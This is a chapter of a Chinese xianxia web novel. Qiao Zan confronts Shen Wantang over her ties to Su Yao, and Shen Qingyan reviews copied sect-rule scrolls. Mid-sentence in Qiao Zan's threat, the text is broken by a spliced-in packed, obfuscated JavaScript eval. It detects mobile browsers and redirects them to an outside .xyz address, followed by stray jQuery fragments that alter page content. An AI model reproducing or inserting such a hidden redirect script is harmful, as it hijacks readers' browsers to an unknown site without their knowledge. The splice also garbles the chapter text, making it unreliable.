74. 无虚宗(四)

“叩叩……”


被敲响的门从里面被人打开。


一缕光便这么打在雪色衣袍的青年身上,而他身后,光照耀不到的地方是阴沉的昏暗,衬得里面阴冷又空荡。


“何事?”沈卿言刚从太清池出来,简单披了件白衣外裳,说话时的语气清冷淡薄。


“清玄真君,这个是晚棠师妹交于我的乾坤袋,里面是她抄写的宗规。”乔瓒说完后还觉着奇怪,笑着道:“听说师妹闭门抄了整整两月,本以为她会抄上半年的,没想到师妹抄得这么快。”


沈卿言接过他手里的乾坤袋,视线落在上面。


“师妹原本是让我交给无行神君的,可无行神君多年潜心修道不问宗门事务,弟子想着还是呈给真君看看。”


沈卿言应声后进了屋,将整个乾坤袋中的卷轴全部一次性取出放置在一旁存放书卷的架子上,几乎堆满了整面墙。


他随手抽出一卷,缓缓展开。


卷轴上的字歪歪扭扭,一笔一画勉强拼凑成字,一眼便知是书写之人存心玩闹。


他浅浅将这卷轴的字扫了一遍,最后心中默念三个字——覃长乐。


显然是师妹偷了懒,让人临摹之作。


沈卿言对此心如明镜,可却面不改色地再度抽出一卷,脸上并无半分责怪的意思。


他将卷轴展开,上面的墨迹如行云流水,遒劲有力,神韵天成。


五分像他,八分像师妹,却并非师妹所书——为男子所书。


他的动作微顿,又抽出几卷,找到师妹的笔迹。同他的笔迹一模一样,就连落笔的一些习惯也神似。


不由得,脑海中浮现出一个穿着青色衣裙的少女趴在长案上一笔一笔临摹他字迹的画面。


有时师妹会趴在长案上睡着,沾染着浓墨的笔被她攥在手里,掌心皆是黑墨。他见到后便会上前抽走她手中的笔,用白绢轻轻将她掌心的墨擦去,而当他要离去时,师妹又会依赖地抓住他的手不愿放他离去……


沈卿言将卷轴重新归位,看着眼前堆满的卷轴,黑眸逐渐与屋内的昏暗融为一体。


良久之后,青年的视线强行从卷轴上移开,打开门再度走入了太清池中。


他阖上眼,凝神悟道,将一切杂念摒弃遗忘。


最后彻底无动于衷,归于平静。





外门远比内门要热闹许多,这里少了很多竞争,多了一些童趣。


乔瓒来的时候正好是傍晚,晚棠师妹所在的院子和内门截然不同,这里仿佛充满了人烟气。


“哇!长乐,这个肉好吃!你快尝尝!”


“忙着呢,枣枣你快喂我一口海棠花糕!累死我了!”


“谁让你又惹沈师姐不高兴了,你下次离她远点就好了……喏,张嘴。”胡枣枣从桌上拿着块点心蹦跶着过去,一口塞进覃长乐嘴里。


覃长乐咬了几口,然后继续练起剑来,她苦着脸道:“你说得对!这个大魔头阴晴不定,我得离她远点,不然她看我不高兴又罚我练剑,让我白天练剑,晚上也练剑,简直不是人干的事!”


一旁带着一群孩子在院中吃饭的李没听了覃长乐的话不禁呵呵笑了几声,扬声道:“你这丫头,就没发现自己修为见长吗,也算是因祸得福啊!”


“这福气给你要不要!”覃长乐哼哼两声,可心底却还是有一丢丢的开心。


“这福气给我?”李没挑眉,放下筷子,道:“正好求之不得。”


“无虚宗内门的剑法,学会了岂不更好?”


闻言,乔瓒看向挥着剑的覃长乐,的确是内门剑法,这个沈晚棠还真是目中无人,为所欲为。


“道长,不知你是要找谁?”李没转头看见生人后,便问起乔瓒。


还不等乔瓒开口,覃长乐便收了剑朝他跑了过去,扬起笑脸:“乔师兄!”


“长乐。”乔瓒也笑着揉了揉她的脑袋,道:“最近进步很大。”


覃长乐嘿嘿傻笑起来,问:“乔师兄也是来找师姐的吗?”


“也?”乔瓒下意识反问。


“对啊,就像李先生和苏师兄一样,他们都是来找师姐的。”


“苏师兄?是谁?”乔瓒皱眉。


覃长乐指了指屋子,“你进去看看就认识了,苏师兄现在整天闲着没事就喜欢追着师姐,话好多的。”


听完她的话,乔瓒的脸色有些微妙。


孤男寡女整日共处一室,晚棠师妹的确修的是无情道吧?


他本来就是忽然想起随便来看看的,对于晚棠师妹的私事他也不欲探究,可……沈晚棠是清玄真君的师妹,若是她真的动了情,那便是违反宗规的——因为她主修无情道。


于是打定主意,他径直朝着那扇门走去。


被忽视的李没皱起了眉头,没好气地过去拦住他,“你这孩子怎么这么不懂礼数,女弟子的房间也是你擅闯的?”


“那苏师弟如何进去的?”乔瓒反问。


“你若真想见沈晚棠,就等他们二人商谈完再去不迟。”


……


外面嘈杂的声音突然高了许多,沈晚棠被苏尧牵住的手缓缓收了回来,她按了按疼痛难忍的脑袋,压□□内四处乱窜的魔气。


苏尧的脸色也没比她好多少,皮肤苍白若纸。


他心中暗暗思忖着,回头得再多杀些人了……


两人休息了一会儿,苏尧倒了杯水推到沈晚棠面前,“走吧,外面有人找你。”


沈晚棠也自然而然饮下杯中水,和他一起出了房门。


门被打开的那一刻,乔瓒住了口,侧头看去。


眼下再见晚棠师妹,他竟觉得有些陌生了,她的身上甚至透着让人难以接近的气息。


他本以为他们也算得上是有些熟悉的,可现在他迟疑了……他忽然发现他们好像一点也不熟悉。


苏尧原本到嘴边的话突然噎住,动了动唇最后只说了一句:“你抄的宗规卷轴,前些日我已经交到了清玄真君手里。”


沈晚棠不以为意,点了下头:“还有事吗?”


乔瓒摇了摇头,默默把有的话咽下,当他再抬眼时,却看见一条男子的手臂轻轻搭在碗晚棠师妹的肩膀上,而那男子略低下头也不知在她耳边说了些什么。


苏尧附在沈晚棠耳边说的是:“他好像有话想说,还一直盯着你,不然……今晚我去把他眼珠子挖了给你炼丹?”


沈晚棠淡瞧他一眼:“不怕闹大就去。”


“晚棠师妹!”乔瓒见到他们二人举止如此亲密,心里无端涌起火来,他语气凌厉:”晚棠师妹可还记得自己修的是无情道?是无行神君的徒弟?是清玄真君的师妹?”


此话一出,院中的外门小弟子开始窃窃私语起来。


“长乐,你说他是不是也知道了沈师姐要和苏师兄结为道侣的事情啊?”


覃长乐摸了摸脑袋,小声道:“好像是这样……”


而这些话,也一字不漏进了乔瓒的耳朵。


沈晚棠身为清玄真君的师妹,却屡次三番视宗规为无物,即便是受了罚也丝毫不知悔改!


“沈晚棠,你若敢与他结为道侣,我便


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15925547|166823||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


立即禀明无行神君将你们二人逐出宗门!”


一听这话,苏尧倒是笑了,却是皮笑肉不笑,“我和晚棠的事,你一个外人插什么嘴?”


“我!”乔瓒一时语塞,脸色变了又变。


他只是把立场摆在了清玄真君和无行神君那一边。


可他哪有资格说这样的话……


“乔师兄,我的事的确是不劳你费心,你若想禀明无行神君,不若今日就去,我也想看看,师兄和师父会如何罚我?”少女的语气夹杂着讥讽般的深深笑意,可眼底却一片冰凉。


乔瓒听得出,那是一种有恃无恐的语气,她很清楚,她不会被逐出宗。


是啊,上一次清玄真君为了免去沈晚棠的罪责就替她挨了罚,甚至就连她擅自逃出宗门被魔族所抓也没受到什么严重的处罚……无行神君并非真心想逐她出宗。


说到底,他和沈晚棠终究是没什么交情,更代表不了无行神君和清玄真君,他哪有资格在这里指责她,即便是指责,也该是神君和清玄真君。


乔瓒平复下心绪,看了一眼同苏尧一样目中无人狂妄放肆的沈晚棠,随后不愿再多费口舌大步离去。


多日不见沈晚棠,竟没想到她会变成如今这模样……


他御剑正要飞走,可刚升空时又顿住了,他不能告诉清玄真君。


如今清玄真君几乎大半时间都是在太清池闭关修道,平日里一些宗门小事也就罢了,可若是当他知道沈晚棠对人动了情……


沈晚棠毕竟是清玄真君的师妹,此事恐怕有得折腾,还会扰他修道。


无行神君。


这件事还是得告诉无行神君,至少让晚棠师妹同苏师弟之间彻底断了!


“虽然这位乔道长说的话不太好听,但也不是没有道理。”李没在乔瓒走后突然上前,抬手扯着苏尧的袖子把他的手生生从沈晚棠肩膀上拿了下来。


李没一本正经道:“她毕竟修的是无情道,还是个未出阁的姑娘,身为一个‘正人君子’你怎么能动手动脚的?”说完,他还拍了拍苏尧的手背。


沈晚棠看了多管闲事的李没一眼,随后让他们二人说去,自己来到覃长乐面前。


覃长乐正在接受胡枣枣的投喂,满脸幸福,一边咂巴着嘴一边道:“好吃好吃!我还要吃葡萄!”


“都给你……哇啊——”胡枣枣手里捏着颗葡萄正要塞覃长乐嘴里,话都说一半了,谁知后衣领突然被人提了起来。


胡枣枣瞪着圆圆的眼睛惊恐地盯着面无表情的大魔头,然后颤巍巍抬起手道:“你,你也要吃葡萄吗?”


“走开。”沈晚棠将她随手一丢,径直丢去了一旁的地上。


“哎哟!”胡枣枣的屁股墩一下摔在地上,她吸了吸鼻子可怜兮兮地站起来,然后把葡萄一口塞进嘴里,“不吃就不吃嘛……”


覃长乐见到这一幕早就爬着离开了原地,却很快被沈晚棠追上。


沈晚棠似笑非笑盯着坐在地上的她,脚下踩着她的剑,缓缓道:“长乐,下次再敢和别人多嘴,师姐就把你的舌头割下来,你觉得怎么样?”


覃长乐听着她的冷言冷语和阴阳怪气,浑身发着抖,红了眼咕哝着摇头:“不不不敢了……我还,还想吃东西……”


“乖一点,长乐要记得师姐说过的话。”沈晚棠抬手,冰凉的手指掐了掐覃长乐的脸。


李没无语望天,沈晚棠真不愧是个蛇蝎心肠的大魔头,连小孩都不放过。


苏尧却在他身边笑了,道:“我眼光真不错。”


李没皱眉看向他:“……”